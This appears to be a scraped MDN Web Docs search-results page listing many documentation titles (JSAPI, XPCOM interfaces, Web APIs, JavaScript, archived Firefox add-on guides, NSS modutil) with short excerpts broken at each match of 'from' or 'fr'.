olete since jsapi 25 js::currentglobalornull added in spidermonkey 31 js_getglobalforscopechain obsolete since jsapi 25 js_getglobalobject obsolete since jsapi 24 js_setglobalobject obsolete since jsapi 25 js_initclass js_initstandardclasses js_resolvestandardclass js_enumeratestandardclasses js_enumerateresolvedstandardclasses obsolete since jsapi 24 js_isrunning js_save
framechain js_restore
framechain js_isassigning obsolete since javascript 1.8.5 js_isconstructing obsolete since jsapi 26 js_isconstructing_possiblywithgiventhisobject obsolete since jsapi 17 js_getscopechain obsolete since javascript 1.8.7 compartments: class jsautocompartment added in spidermonkey 24 js_newglobalobject added in spidermonkey 17 js_entercompartment added in spidermon...
...ermonkey 31 enum jsexntype added in spidermonkey 17 js_reporterror js_reportwarning js_reporterrornumber js_reporterrornumberuc js_reporterrorflagsandnumber js_reporterrorflagsandnumberuc js_reporterrornumberucarray added in spidermonkey 24 js_reportoutofmemory js_reportallocationoverflow added in spidermonkey 1.8 js_geterrorreporter js_seterrorreporterobsolete since jsapi 52 js_error
fromexception js_geterrorprototype jsreport_is_exception jsreport_is_strict jsreport_is_warning jsreport_is_strict_mode_error the following functions allow c/c++ functions to throw and catch javascript exceptions: js::createerror added in spidermonkey 38 js_isexceptionpending js_getpendingexception js_setpendingexception js_clearpendingexception js_throwstopiteration added in spidermo...
...nkey 1.8 js_isstopiteration added in spidermonkey 31 typedef jsexceptionstate js_saveexceptionstate js_restoreexceptionstate js_dropexceptionstate these functions translate errors into exceptions and vice versa: js_reportpendingexception js_error
fromexception js_throwreportederror obsolete since jsapi 29 values and types typedef jsval js::value js::value constructors: js::nullvalue added in spidermonkey 24 js::undefinedvalue added in spidermonkey 24 js::booleanvalue added in spidermonkey 24 js::truevalue added in spidermonkey 24 js::falsevalue added in spidermonkey 24 js::numbervalue added in spidermonkey 24 js::int32value added in spidermonkey 24 js::doublevalue added in spidermonkey 24 js::float32value added in spidermonkey 24 js::stringvalue added i...
...And 9 more matches
Querying Places
example of querying for any pages i've visited that contain the word "firefox" in the title/url or that i've visited today
from mozilla.org.
... // first query object searches for "firefox" in title/url var query1 = placesutils.history.getnewquery(); query1.searchterms = "firefox"; // second query object searches for visited in past 24 hours and
from mozilla.org var query2 = placesutils.history.getnewquery(); query2.begintimereference = query2.time_relative_now; query2.begintime = -24 * 60 * 60 * 1000000; // 24 hours ago in microseconds query2.endtimereference = query2.time_relative_now; query2.endtime = 0; // now query2.domain = "mozilla.org"; var result = placesutils.history.executequeries([query1, query2], 2, options); note: keyword searching doesn't work correctly across or queries.
... the current behavior does the normal query and then selects keywords
from the first query and filters all the results.
...And 9 more matches
NS ConvertASCIItoUTF16 external
parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of astr
from the beginning of the string, or -1 if not found.
...And 9 more matches
NS ConvertUTF8toUTF16 external
parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of astr
from the beginning of the string, or -1 if not found.
...And 9 more matches
PromiseFlatString (External)
parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of astr
from the beginning of the string, or -1 if not found.
...And 9 more matches
nsAutoString (External)
parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of astr
from the beginning of the string, or -1 if not found.
...And 9 more matches
nsDependentString external
parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of astr
from the beginning of the string, or -1 if not found.
...And 9 more matches
nsDependentSubstring external
parameters nsastring readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of astr
from the beginning of the string, or -1 if not found.
...And 9 more matches
nsStringContainer (External)
parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of astr
from the beginning of the string, or -1 if not found.
...And 9 more matches
nsString external
parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of astr
from the beginning of the string, or -1 if not found.
...And 9 more matches
nsILocalFile
66 introduced gecko 1.0 deprecated gecko 14 inherits
from: nsifile last changed in gecko 1.0 implemented by: @mozilla.org/file/local;1.
... void appendrelativepath(in astring relativefilepath); acstring getrelativedescriptor(in nsilocalfile
fromfile); void initwithfile(in nsilocalfile afile); void initwithnativepath(in acstring filepath); native code only!
... void reveal(); void setrelativedescriptor(in nsilocalfile
fromfile, in acstring relativedesc); attributes attribute type description diskspaceavailable print64 the number of bytes available to non-superuser on the disk volume containing the nsilocalfile.
...And 9 more matches
nsIPermissionManager
last changed in gecko 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) inherits
from: nsisupports method overview void add(in nsiuri uri, in string type, in pruint32 permission, [optional] in pruint32 expiretype, [optional] in print64 expiretime); void add
fromprincipal(in nsiprincipal principal, in string type, in pruint32 permission, [optional] in pruint32 expiretype, [optional] in print64 expiretime); void remove(in autf8string host, in string type); void remove
fromprincipal(in nsiprinci...
...pal principal, in string type); void removepermission(in nsipermission perm); void removeallsince(in int64_t since); void removeall(); pruint32 testexactpermission(in nsiuri uri, in string type); pruint32 testexactpermission
fromprincipal(in nsiprincipal principal, in string type); pruint32 testpermission(in nsiuri uri, in string type); pruint32 testpermission
fromprincipal(in nsiprincipal principal, in string type); attributes attribute type description enumerator nsisimpleenumerator enumerates all stored permissions.
... add
fromprincipal() add permission information and permission type for a given principal.
...And 9 more matches
nsIScriptableInputStream
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long available(); void close(); void init(in nsiinputstream ainputstream); string read(in unsigned long acount); acstring readbytes(in unsigned long acount); methods available() return the number of bytes currently available in the stream.
... read() read data
from the stream.
...string read( in unsigned long acount ); parameters acount the maximum number of bytes to read
from the stream.
...And 9 more matches
nsISessionStore
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in versions of firefox prior to 3.5, the user preference browser.sessionstore.enabled must be true for these calls to be successful.
... methods deletetabvalue() deletes a value
from a specified tab.
... deletewindowvalue() deletes a value
from a specified window.
...And 9 more matches
nsIXULTemplateBuilder
a template builder, given an input source of data, a template, and a reference point, generates a list of results
from the input, and copies part of the template for each result.
...different template builders may be specialized in the manner in which they generate and display the resulting content
from the template.
...for convenience, each reference point as well as all results implement the nsixultemplateresult interface, allowing the result objects
from each iteration to be used directly as the reference points for the next iteration.
...And 9 more matches
Using js-ctypes
on windows, for example, you might load the system user32 library like this: var lib = ctypes.open("user32.dll"); on mac os x, you can load the core foundation library
from the core foundation
framework like this: var corefoundation = ctypes.open("/system/library/
frameworks/corefoundation.
framework/corefoundation"); the returned object is a library object that you use to declare functions and data types for use with the loaded library.
...examples can be found here: bugzilla :: bug 505907 - support c++ calling
from jsctypes library search paths if you specify a full path, that path is used to load the library.
... note: this information comes
from this article on msdn.
...And 9 more matches
AudioNode.channelInterpretation - Web APIs
this can be somewhat controlled by setting the audionode.channelinterpretation property to speakers or discrete: interpretation input channels output channels mixing rules speakers 1 (mono) 2 (stereo) up-mix
from mono to stereo.
... output.l = input.m output.r = input.m 1 (mono) 4 (quad) up-mix
from mono to quad.
... output.l = input.m output.r = input.m output.sl = 0 output.sr = 0 1 (mono) 6 (5.1) up-mix
from mono to 5.1.
...And 9 more matches
Document.cookie - Web APIs
syntax read all cookies accessible
from this location allcookies = document.cookie; in the code above allcookies is a string containing a semicolon-separated list of all cookies (i.e.
...before chrome 52, this flag could appear with cookies
from http domains.
... ;samesite samesite prevents the browser
from sending this cookie along with cross-site requests.
...And 9 more matches
HTMLVideoElement - Web APIs
the list of supported media formats varies
from one browser to the other.
...arget="_top"><rect x="131" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlvideoelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its ancestor interfaces, htmlmediaelement, and htmlelement.
... gecko-specific properties htmlvideoelement.mozparsed
frames read only returns an unsigned long with the count of video
frames that have been parsed
from the media resource.
...And 9 more matches
Drag Operations - Web APIs
in html, apart
from the default behavior for images, links, and selections, no other elements are draggable by default.
...you should call it with formats in order
from most specific to least specific.
... setting the drag feedback image when a drag occurs, a translucent image is generated
from the drag target (the element the "dragstart" event is fired at), and follows the user's pointer during the drag.
...And 9 more matches
Basic concepts - Web APIs
it used to include a synchronous version also, for use in web workers, but this was removed
from the spec due to lack of interest by the web community.
... big concepts if you have assumptions
from working with other types of databases, you might get thrown off when working with indexeddb.
...it's not that different
from the way that xmlhttprequest works.
...And 9 more matches
Capabilities, constraints, and settings - Web APIs
the result has been a lot of very
fragile code, or a reliance on libraries which figure this stuff out for you, then implement polyfills to patch the holes in the implementation on your behalf.
...the constraint exerciser lets you experiment with the results of different constraint sets being applied to the audio and video tracks coming
from the computer's a/v input devices (such as its webcam and microphone).
... determining if a constraint is supported if you need to know whether or not a given constriant is supported by the user agent, you can find out by calling navigator.mediadevices.getsupportedconstraints() to get a list of the constrainable properties which the browser knows, like this: let supported = navigator.mediadevices.getsupportedconstraints(); document.getelementbyid("
framerateslider").disabled = !supported["
framerate"]; in this example, the supported constraints are fetched, and a control that lets the user configure the
frame rate is disabled if the
framerate constraint isn't supported.
...And 9 more matches
Pointer Lock API - Web APIs
it gives you access to raw mouse movement, locks the target of mouse events to a single element, eliminates limits on how far mouse movement can go in a single direction, and removes the cursor
from view.
...the buttons are then
freed up for other actions.
...game players can now click buttons and swipe the mouse cursor back and forth without worrying about leaving the game play area and accidentally clicking another application that would take mouse focus away
from the game.
...And 9 more matches
WebGL2RenderingContext - Web APIs
webgl2renderingcontext.getbuffersubdata() reads data
from a buffer and writes them to an arraybuffer or sharedarraybuffer.
...
framebuffers webgl2renderingcontext.blit
framebuffer() transfers a block of pixels
from the read
framebuffer to the draw
framebuffer.
... webgl2renderingcontext.
framebuffertexturelayer() attaches a single layer of a texture to a
framebuffer.
...And 9 more matches
Lighting in WebGL - Web APIs
it just runs two functions you supply — a vertex shader and a
fragment shader — and expects you to write creative functions to get the results you want.
...our sample loads a copy
from a cdn in our html's <head>.
... directional light is light that is emitted
from a specific direction.
...And 9 more matches
Taking still photos with WebRTC - Web APIs
the first panel on the left contains two components: a <video> element, which will receive the stream
from webrtc, and a <button> the user clicks to capture a video
frame.
... next, we have a <canvas> element into which the captured
frames are stored, potentially manipulated in some way, and then converted into an output image file.
...this function's job is to request access to the user's webcam, initialize the output <img> to a default state, and to establish the event listeners needed to receive each
frame of video
from the camera and react when the button is clicked to capture an image.
...And 9 more matches
Window.pageYOffset - Web APIs
pellentesque justo augue, placerat non leo sit amet, laoreet
fringilla arcu.</p> <p>class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.
...vivamus
fringilla sodales est ut ultricies.
...integer euismod lectus a ipsum pellentesque lacinia.</p> `; document.getelementbyid("
frame").contentdocument .body.innerhtml = contenthtml; in this example, an <i
frame> is created and filled with content, then a specific element within the document is scrolled into view in the
frame.
...And 9 more matches
window.postMessage() - Web APIs
the window.postmessage() method safely enables cross-origin communication between window objects; e.g., between a page and a pop-up that it spawned, or between a page and an i
frame embedded within it.
... normally, scripts on different pages are allowed to access each other if and only if the pages they originate
from share the same protocol, port number, and host (also known as the "same-origin policy").
...the receiving window is then
free to handle this event as needed.
...And 9 more matches
Using XMLHttpRequest - Web APIs
inject the content into the body of a document
fragment via
fragment.body.innerhtml and traverse the dom of the
fragment.
... // progress on transfers
from the server to the client (downloads) function updateprogress (oevent) { if (oevent.lengthcomputable) { var percentcomplete = oevent.loaded / oevent.total * 100; // ...
... one can also detect all three load-ending conditions (abort, load, or error) using the loadend event: req.addeventlistener("loadend", loadend); function loadend(e) { console.log("the transfer finished (although we don't know if it succeeded or not)."); } note there is no way to be certain,
from the information received by the loadend event, as to which condition caused the operation to terminate; however, you can use this to handle tasks that need to be performed in all end-of-transfer scenarios.
...And 9 more matches
Accessibility documentation index - Accessibility
the aria-hidden attribute can either expose or hide non-interactive content
from the accessibility api.
... 40 x-ms-aria-flow
from aria, microsoft, non-standard the x-ms-aria-flow
from property specifies the id of the previous element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order.
...these sections are
frequently presented as sidebars or call-out boxes.
...And 9 more matches
Audio and Video Delivery - Developer guides
we can deliver audio and video on the web in a number of ways, ranging
from 'static' media files to adaptive live streams.
... getusermedia / stream api it's also possible to retrieve a live stream
from a webcam and/or microphone using getusermedia and the stream api.
... to grab the stream
from your webcam, first set up a <video> element: <video id="webcam" width="480" height="360"></video> next, if supported connect the webcam source to the video element: if (navigator.mediadevices) { navigator.mediadevices.getusermedia({ video: true, audio: false }) .then(function onsuccess(stream) { var video = document.getelementbyid('webcam'); video.autoplay = true; video.srcobject = stream; }) .catch(function onerror() { alert('there has been a problem retreiving the streams - are you running on file:/// or did you disallow access?'); }); } else { alert('getusermedia is not supp...
...And 9 more matches
Rich-Text Editing in Mozilla - Developer guides
setting up rich-text editing rich-text editing is initialized by setting the designmode property of a document to "on", such as the document inside an i
frame.
...: generated html differences mozilla: <span style="font-weight: bold;">i love geckos.</span> <span style="font-weight: bold; font-style: italic; text-decoration: underline;">dinosaurs are big.</span> internet explorer: <strong>i love geckos.</strong> <strong><em><u>dinosaurs are big.</u></em></strong> another difference between mozilla and ie is how to access the document object of an i
frame, which is usually used in conjunction with designmode.
... mozilla uses the w3c standard way, namely i
frameelement.contentdocument, while ie requires i
frameelement.document.
...And 9 more matches
Feature-Policy: fullscreen - HTTP
by default, top-level documents and their same-origin child
frames can request and enter fullscreen mode.
... this directive allows or prevents cross-origin
frames
from using fullscreen mode.
... this includes same-origin
frames.
...And 9 more matches
Expressions and operators - JavaScript
destructuring for more complex assignments, the destructuring assignment syntax is a javascript expression that makes it possible to extract data
from arrays or objects using a syntax that mirrors the construction of array and object literals.
...subtracts one
from its operand.
... left shift a << b shifts a in binary representation b bits to the left, shifting in zeros
from the right.
...And 9 more matches
Uint8ClampedArray - JavaScript
static methods uint8clampedarray.
from() creates a new uint8clampedarray
from an array-like or iterable object.
... see also array.
from().
... uint8clampedarray.of() creates a new uint8clampedarray
from a variable number of arguments.
...And 9 more matches
Destructuring assignment - JavaScript
the destructuring assignment syntax is a javascript expression that makes it possible to unpack values
from arrays, or properties
from objects, into distinct variables.
... const x = [1, 2, 3, 4, 5]; the destructuring assignment uses similar syntax, but on the left-hand side of the assignment to define what values to unpack
from the sourced variable.
... examples array destructuring basic variable assignment const foo = ['one', 'two', 'three']; const [red, yellow, green] = foo; console.log(red); // "one" console.log(yellow); // "two" console.log(green); // "three" assignment separate
from declaration a variable can be assigned its value via destructuring separate
from the variable's declaration.
...And 9 more matches
delete operator - JavaScript
the javascript delete operator removes a property
from an object; if no more references to the same property are held, it is eventually released automatically.
... description unlike what common belief suggests (perhaps due to other programming languages like delete in c++), the delete operator has nothing to do with directly
freeing memory.
... the delete operator removes a given property
from an object.
...And 9 more matches
Navigation and resource timings - Web Performance
as displayed in the image below, the navigation process goes
from navigationstart, unloadeventstart, unloadeventend, redirectstart, redirectend, fetchstart, domainlookupstart, domainlookupend, connectstart , connectend, secureconnectionstart, requeststart, responsestart, responseend, domloading, dominteractive, domcontentloadedeventstart, domcontentloadedeventend, domcomplete, loadeventstart, and loadeventend.
... requeststart when the browser sent the request to obtain the actual document,
from the server or
from a cache.
... responsestart when the browser received the first byte of the response,
from the server
from a cache, or
from a local resource.
...And 9 more matches
xlink:href - SVG: Scalable Vector Graphics
value <iri> default value none animatable yes altglyph for <altglyph>, xlink:href defines the reference either to a <glyph> element in an svg document
fragment or to an <altglyphdef> element.
... if the reference is to an <altglyphdef> element, then if an appropriate set of alternate glyphs is located
from processing the <altglyphdef> element, then those alternate glyphs are rendered instead of the characters that are inside of the <altglyph> element.
... the target element must be part of the current svg document
fragment.
...And 9 more matches
Web security
the web security-oriented articles listed here provide information that may help you secure your site and its code
from attacks and data theft.
...these attacks are used for everything
from data theft to site defacement to the distribution of malware.
... certificate transparency certificate transparency is an open
framework designed to protect against and monitor for certificate misissuances.
...And 9 more matches
Communicating With Other Scripts - Archive of obsolete content
messaging
from content script to page script suppose we have a page called "listen.html" hosted at "my-domain.org", and we want to send messages
from the add-on to a script embedded in that page.
...od that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.postmessage() to send the message to the page: // content-script (talk.js) window.postmessage("message
from content script", "http://my-domain.org/"); the second argument may be '*' which will allow communication with any domain.
... finally, "listen.html" uses window.addeventlistener() to listen for messages
from the content script: <!doctype html> <html> <head></head> <body> <script> window.addeventlistener('message', function(event) { window.alert(event.data); // message
from content script }, false); </script> </body> </html> messaging
from page script to content script sending messages
from the page script to the content script is just the same, but in reverse.
...And 8 more matches
Communicating using "port" - Archive of obsolete content
to send messages
from one side to the other, use port.emit() to receive messages sent
from the other side, use port.on() messages are asynchronous: that is, the sender does not wait for a reply
from the recipient but just emits the message and continues processing.
...s a simple add-on that sends a message to a content script using port: var tabs = require("sdk/tabs"); var alertcontentscript = "self.port.on('alert', function(message) {" + " window.alert(message);" + "})"; tabs.on("ready", function(tab) { worker = tab.attach({ contentscript: alertcontentscript }); worker.port.emit("alert", "message
from the add-on"); }); tabs.open("http://www.mozilla.org"); in total, the port object defines four functions: emit(): emit a message.
... accessing port accessing port in the content script note that the global self object is completely different
from the self module, which provides an api for an add-on to access its data files and id.
...And 8 more matches
Appendix F: Monitoring DOM changes - Archive of obsolete content
for this reason, it is best to avoid using mutation listeners at all costs, especially
from extensions.
... hashchange and popstate events most ajax-heavy sites update the url when they significantly change their content, either via a change to the
fragment identifier (hash) or more recently via the history.pushstate method.
...these requests can be tracked
from chrome code using a variety of methods, including web progress listeners, http observers, and content policies.
...And 8 more matches
JavaScript crypto - Archive of obsolete content
deprecatedthis feature has been removed
from the web standards.
... using the mozilla crypto object
from javascript mozilla defines a special javascript object to allow web pages access to certain cryptographic-related services.
... these services are a balance between the functionality web pages need and the requirement to protect users
from malicious web sites.
...And 8 more matches
A XUL Bestiary - Archive of obsolete content
chrome some of the most powerful and
frequently misunderstood features of xul and the mozilla browser have to do with chrome.
... the chrome url this concept of a chrome as an integrated, dynamic thing in some way divorced
from the "appcore" is realized in the use of the chrome url to point to chunks of xul and their related files.
...a help chrome defined in mozilla/bin/chrome/help/ is being invoked
from the help menu.
...And 8 more matches
PopupEvents - Archive of obsolete content
this may happen because the user selected an item
from the menu, or it may be because the popup was closed by clicking elsewhere.
...this will occur regardless of how the popup is opened, either
from user interaction or
from a script calling the openpopup or openpopupatscreen methods.
...<panel id="time-panel" onpopupshowing="this.lastchild.value = (new date()).tolocaleformat('%t')"> <label value="time:"/> <label id="time"/> </panel> <toolbarbutton label="show time" popup="time-panel"/> you can prevent a menu or popup
from appearing by calling the preventdefault method of the event
from within a popupshowing listener.
...And 8 more matches
Deploying XULRunner - Archive of obsolete content
in the end, most users are a
fraid of links that don't have a pretty icon so you may want to have a look at the branding section of xulrunner tips.
...you should copy and rename this file
from xulrunner-stub.exe in your xulrunner installation.) xulrunner/ ...
... copy xulrunner/ to this directory when deploying with xulrunner 2.0 and above do the following: move chrome.manifest to the root directory, and adjust resource paths inside chrome.manifest accordingly with xulrunner 9.0 or 10.0 you may need to copy "mozutils.dll" and/or "mozcrt19.dll"
from the xulrunner directory to the root directory.
...And 8 more matches
Adobe Flash - Archive of obsolete content
it can also access javascript methods
from within the plugin.
... this article explains how javascript can be used to access methods
from within the flash plugin, as well as how a feature called fscommands can be used to access javascript functions
from within the flash animation.
...until macromedia changes this
from within the flash plugin, scriptability can not be used on mac os x browsers based on gecko.
...And 8 more matches
Building a Theme - Archive of obsolete content
the remaining directories will be extracted
from the default theme.
... global to chrome/global mozapps to chrome/mozapps now that you've copied the global and mozapps folders, a handful of other folders
from the browser/omni.ja archive are required.
...the files we will be needing
from the browser/omni.ja archive are located under chrome/browser/skin/classic.
...And 8 more matches
Old Proxy API - Archive of obsolete content
delete proxy.name delete: function(name) -> boolean delete the named property
from the proxy.
... object.
freeze(proxy) object.seal(proxy) object.preventextensions(proxy) fix: function() -> propertydescriptor map (indexed on property names) | undefined should return an object that maps property names to property descriptors.
...moreover, the respective method (
freeze(), seal(), or preventextension()) is immediately called on the fixed object.
...And 8 more matches
Archive of obsolete content
the new design clearly shows what some experts have been saying: that standards-based design can be visually compelling and preserve the interface conventions we've come to expect
from web pages.
... beginner tutorials this page includes archived beginners tutorials,
from various places around mdn.
... creating a status bar extension many of the concepts introduced here apply to any xul-based application; however, to keep
from getting completely overwhelmed, we're going to focus specifically on firefox.
...And 8 more matches
Desktop gamepad controls - Game development
the gamepad api gives you the ability to connect a gamepad to your computer and detect pressed buttons directly
from the javascript code thanks to the browsers implementing such feature.
... to update the state of the gamepad's currently pressed buttons we will need a function that will do exactly that on every
frame: function gamepadupdatehandler() { buttonspressed = []; if(controller.buttons) { for(var b=0; b<controller.buttons.length; b++) { if(controller.buttons[b].pressed) { buttonspressed.push(b); } } } } we first reset the buttonspressed array to get it ready to store the latest info we'll write to it
from the current
frame.
... next, in the draw() function we do two things — execute the gamepadupdatehandler() function to get the current state of pressed buttons on every
frame, and use the gamepadbuttonpressedhandler() function to check the buttons we are interested to see whether they are pressed, and do something if they are: function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); // ...
...And 8 more matches
What is accessibility? - Learn web development
just as it is wrong to exclude someone
from a physical building because they are in a wheelchair (modern public buildings generally have wheelchair ramps or elevators), it is also not right to exclude someone
from a website because they have a visual impairment.
...in fact, everyone can benefit
from many such improvements.
... some are
free products, like nvda (windows), chromevox (chrome, windows and mac os x), and orca (linux).
...And 8 more matches
The box model - Learn web development
padding, margin and border will cause other elements to be pushed away
from the box unless we decide to change the display type to inline, elements such as headings (e.g.
... vertical padding, margins, and borders will apply but will not cause other inline boxes to move away
from the box.
... horizontal padding, margins, and borders will apply and will cause other inline boxes to move away
from the box.
...And 8 more matches
What text editors are available? - Learn web development
what kind of basic features do i expect
from my text editor?
...there's a big chance you'll find a suitable text editor for
free.
... extensible atom mit/bsd
free windows, mac, linux forum online manual yes bluefish gpl 3
free windows, mac, linux mailing list, wiki online manual yes brackets mit/bsd
free windows, mac, linux forum, irc github wiki yes coda closed source $99 mac twitter, forum, e-mail ebook yes codelobster closed source
free windows, mac, linux forum, e-mail no end user doc yes emacs gpl 3
free windows, mac, linux faq, mailing list, news group online manual yes espresso closed source $75 mac faq, e-mail no end user doc, b...
...And 8 more matches
How do I start to design my website? - Learn web development
yes, it seems obvious, but too many projects fail not
from a lack of technical know-how, but
from lack of goals and vision.
... an hour's discussion with
friends is a good start, but inadequate.
...it can be anything: selling goods to make money, expressing political opinions, meeting new
friends, gigging with musicians, collecting cat pictures, or whatever you want.
...And 8 more matches
Routing in Ember - Learn web development
previous overview: client-side javascript
frameworks next in this article we learn about routing, or url-based filtering as it is sometimes referred to.
...typically, when writing web applications, you want the page to be represented by the url so that if (for any reason), the page needs to re
fresh, the user isn't surprised by the state of the web app — they can link directly to significant views of the app.
...it contains the following contents: import emberrouter
from '@ember/routing/router'; import config
from './config/environment'; export default class router extends emberrouter { location = config.locationtype; rooturl = config.rooturl; } router.map(function() { this.route('completed'); this.route('active'); }); the highlighted lines were added when the 2nd and 3rd commands above were run.
...And 8 more matches
Theme concepts
however, please feel
free to update your themes to use any of the new features described here.
... add the theme image file to the folder: <mytheme> <your_header_image>.<type> create a file called manifest.json in the folder and edit its content as follows: { "manifest_version": 2, "version": "1.0", "name": "<your_theme_name>", "theme": { "images": { "theme_
frame": "<your_header_image>.<type>" }, "colors": { "
frame": "#ffffff", "tab_background_text": "#000" } } } where: "
frame": is the heading area background color for your theme.
... depending on the effect you want to create you may need to suppress the mandatory "theme_
frame": image with an empty or transparent image.
...And 8 more matches
Debugging Table Reflow
reflow the most efficient tool to claim that html-table code is the victim and not the source of layout bugs is a
frame reflow debug log.
... block reflow another way to debug the reflow process is implemented inside nsblock
frame.cpp.
...are: reflow really-noisy-reflow max-element-size space-manager verify-lines damage-repair lame-paint-metrics lame-reflow-metrics disable-resize-opt these options can be combined with a comma separated list messages generated by the reflow switch: block(div)(1)@00be5ac4: reflowing dirty lines computedwidth=9000 computedheight=1500 this message is generated inside of nsresult nsblock
frame::reflowdirtylines(nsblockreflowstate& astate) it first shows the block id and address and then the computed width and height
from the htmlreflowstate.
...And 8 more matches
The Firefox codebase: CSS Guidelines
this document contains guidelines defining how css inside the firefox codebase should be written, it is notably relevant for firefox
front-end engineers.
... also, it is good practice to introduce a common class when the new element you are styling reuses some styles
from another element, this allows the maintenance cost and the amount of code duplication to be reduced.
...when this is the case, don't be a
fraid to remove or update that rule.
...And 8 more matches
Introduction to Layout in Mozilla
overview basic data flow key data structures detailed walk-through incrementalism future tech-talks wrap-up, q&a basic data flow source document arrives via network apis incrementally “pumped” through the single-threaded layout engine parse, compute style, render; repeat css used for rendering all content content theoretically separate
from “presentation” key data structures content node elements, attributes, leaves dom
frame rectangular formatting primitive geometric information [0..n] per content node 2nd thru nth are “continuations” style context non-geometric information may be shared by adjacent
frames reference counted, owned by
frame ...
... view clipping, z-order, transparency [0..1] per
frame, owned by
frame widget native window [0..1] per view, owned by view key data structures the document owns the content model, and one or more presentations exposed programmatically via dom apis the presentation owns the
frame hierarchy
frames own the style contexts, views, widgets presentation has media type, dimensions, etc.
... may not be directly manipulated detailed walk-through setting up content model construction
frame construction style resolution reflow painting setting up assume basic knowledge of embedding and network apis (doc shell, streams) content dll auto-registers a document loader factory (dlf) @mozilla.org/content-viewer-factory/view;1?type=text/html all mime types mapped to the same class, nscontentdlf nsdocshell receives inbound content via nsdsuricontentlistener invokes nsidlf::createinstance, passes mime type to dlf nscontentdlf creates a nshtmldocument object, invokes startdocumentload.
...And 8 more matches
AddonManager
callback) void installaddons
fromwebpage(in string mimetype, in nsidomwindow source, in nsiuri uri, in addoninstall installs[]) void addinstalllistener(in installlistener listener) void removeinstalllistener(in installlistener listener) promise?
... callbacks installcallback() a callback that is passed a single addoninstall void installcallback( in addoninstall install ) parameters install the addoninstall passed back
from the asynchronous request installlistcallback() a callback that is passed an array of addoninstalls void installlistcallback( in addoninstall installs[] ) parameters installs the array of addoninstalls passed back
from the asynchronous request addoncallback() a callback that is passed a single addon void addoncallback( in addon addon ) parameters addon the addon passed back...
...
from the asynchronous request.
...And 8 more matches
NetUtil.jsm
methods asynccopy() the asynccopy() method performs a simple asynchronous copy of data
from a source input stream to a destination output stream.
... nsiasyncstreamcopier asynccopy( asource, asink, acallback ); parameters asource the input stream
from which to read the source data.
... example this example writes a string to a file; it comes
from the test suite for the netutil module.
...And 8 more matches
Localizing with Mozilla Translator
like most cat tools, mozillatranslator employs glossaries and translation memory to leverage your work
from previous translations, thus cutting time and effort when localizing new versions of mozilla applications.
...this will remove obsolete strings and files
from the internal database of mt, and will present you with a list of new and updated strings.
...you can save your work in progress and reopen it to continue working by selecting view fuzzy
from the edit menu.
...And 8 more matches
Mozilla Style System Documentation
in the layout system, these formatting objects are described as
frames (interface nsi
frame), although a pair of
frames represents table formatting objects.
...(mozilla has a bunch of its pseudo-elements that are not in the css specification.) we also create style contexts for some things that are not css formatting objects: text nodes and placeholder
frames.
... dynamic changes describe ns
framemanager::reresolvestylecontext and nsi
frame::getparentstylecontext
frame ...</p> describe nscss
frameconstructor::attributechanged hack for style attribute that avoids style context tree manipulation.
...And 8 more matches
NSS tools : modutil
each option may take arguments, anywhere
from none to multiple arguments.
... -force disable modutil's interactive prompts so it can be run
from a script.
... modutil supports several mechanisms: rsa, dsa, rc2, rc4, rc5, aes, des, dh, sha1, sha256, sha512, ssl, tls, md5, md2, random (for random number generation), and
friendly (meaning certificates are publicly readable).
...And 8 more matches
NSS tools : modutil
each option may take arguments, anywhere
from none to multiple arguments.
